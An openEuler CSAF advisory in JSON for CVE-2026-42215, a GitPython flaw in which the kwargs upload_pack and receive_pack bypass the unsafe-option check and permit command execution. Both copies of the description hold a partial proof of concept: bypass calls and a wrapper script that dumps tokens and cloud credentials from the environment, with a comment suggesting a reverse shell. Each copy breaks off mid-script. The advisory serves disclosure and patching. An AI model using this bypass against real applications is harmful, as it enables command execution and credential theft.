{
	"document":{
		"aggregate_severity":{
			"namespace":"https://nvd.nist.gov/vuln-metrics/cvss",
			"text":"HIGH"
		},
		"category":"csaf_vex",
		"csaf_version":"2.0",
		"distribution":{
			"tlp":{
				"label":"WHITE",
				"url":"https:/www.first.org/tlp/"
			}
		},
		"lang":"en",
		"notes":[
			{
				"text":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=",
				"category":"general",
				"title":"Synopsis"
			}
		],
		"publisher":null,
		"references":[
			{
				"summary":"nvd cve",
				"category":"external",
				"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
			},
			{
				"summary":"CVE-2026-42215 vex file",
				"category":"self",
				"url":"https://repo.openeuler.org/security/data/csaf/cve/2026/csaf-openeuler-cve-2026-42215.json"
			},
			{
				"summary":"openEuler-SA-2026-2308",
				"category":"self",
				"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308"
			},
			{
				"summary":"CVE-2026-42215",
				"category":"self",
				"url":"https://www.openeuler.org/en/security/cve/detail/?cveId=CVE-2026-42215&packageName=python-GitPython"
			}
		],
		"title":"openEuler cve CVE-2026-42215",
		"tracking":{
			"initial_release_date":"2026-05-18T10:35:18+08:00",
			"revision_history":[
				{
					"date":"2026-05-18T10:35:18+08:00",
					"summary":"Initial",
					"number":"1.0.0"
				}
			],
			"generator":{
				"date":"2026-05-18T10:35:18+08:00",
				"engine":{
					"name":"openEuler CSAF Tool V1.0"
				}
			},
			"current_release_date":"2026-05-18T10:35:18+08:00",
			"id":"CVE-2026-42215",
			"version":"1.0.0",
			"status":"interim"
		}
	},
	"product_tree":{
		"branches":[
			{
				"name":"openEuler",
				"category":"vendor",
				"branches":[
					{
						"name":"openEuler",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"openEuler-24.03-LTS-SP3",
									"name":"openEuler-24.03-LTS-SP3"
								},
								"name":"openEuler-24.03-LTS-SP3",
								"category":"product_version"
							}
						],
						"category":"product_name"
					},
					{
						"name":"src",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"python-GitPython-3.1.49-1.oe2403sp3.src.rpm",
									"name":"python-GitPython-3.1.49-1.oe2403sp3.src.rpm"
								},
								"name":"python-GitPython-3.1.49-1.oe2403sp3.src.rpm",
								"category":"product_version"
							}
						],
						"category":"architecture"
					},
					{
						"name":"noarch",
						"branches":[
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm",
									"name":"python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm"
								},
								"name":"python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm",
								"category":"product_version"
							},
							{
								"product":{
									"product_identification_helper":{
										"cpe":"cpe:/a:openEuler:openEuler:24.03-LTS-SP3"
									},
									"product_id":"python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm",
									"name":"python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm"
								},
								"name":"python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm",
								"category":"product_version"
							}
						],
						"category":"architecture"
					}
				]
			}
		],
		"relationships":[
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP3",
				"product_reference":"python-GitPython-3.1.49-1.oe2403sp3.src.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP3:python-GitPython-3.1.49-1.oe2403sp3.src",
					"name":"python-GitPython-3.1.49-1.oe2403sp3.src as a component of openEuler-24.03-LTS-SP3"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP3",
				"product_reference":"python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP3:python-GitPython-help-3.1.49-1.oe2403sp3.noarch",
					"name":"python-GitPython-help-3.1.49-1.oe2403sp3.noarch as a component of openEuler-24.03-LTS-SP3"
				},
				"category":"default_component_of"
			},
			{
				"relates_to_product_reference":"openEuler-24.03-LTS-SP3",
				"product_reference":"python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm",
				"full_product_name":{
					"product_id":"openEuler-24.03-LTS-SP3:python3-GitPython-3.1.49-1.oe2403sp3.noarch",
					"name":"python3-GitPython-3.1.49-1.oe2403sp3.noarch as a component of openEuler-24.03-LTS-SP3"
				},
				"category":"default_component_of"
			}
		]
	},
	"vulnerabilities":[
		{
			"cve":"CVE-2026-42215",
			"notes":[
				{
					"text":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=",
					"category":"description",
					"title":"Vulnerability Description"
				}
			],
			"product_status":{
				"fixed":[
					"openEuler-24.03-LTS-SP3:python-GitPython-3.1.49-1.oe2403sp3.src",
					"openEuler-24.03-LTS-SP3:python-GitPython-help-3.1.49-1.oe2403sp3.noarch",
					"openEuler-24.03-LTS-SP3:python3-GitPython-3.1.49-1.oe2403sp3.noarch"
				]
			},
			"remediations":[
				{
					"product_ids":{
						"$ref":"$.vulnerabilities[0].product_status.fixed"
					},
					"details":"python-GitPython security update",
					"category":"vendor_fix",
					"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308"
				}
			],
			"scores":[
				{
					"cvss_v3":{
						"baseSeverity":"HIGH",
						"baseScore":8.8,
						"vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
						"version":"3.1"
					},
					"products":{
						"$ref":"$.vulnerabilities[0].product_status.fixed"
					}
				}
			],
			"threats":[
				{
					"details":"High",
					"category":"impact"
				}
			],
			"title":"CVE-2026-42215"
		}
	]
}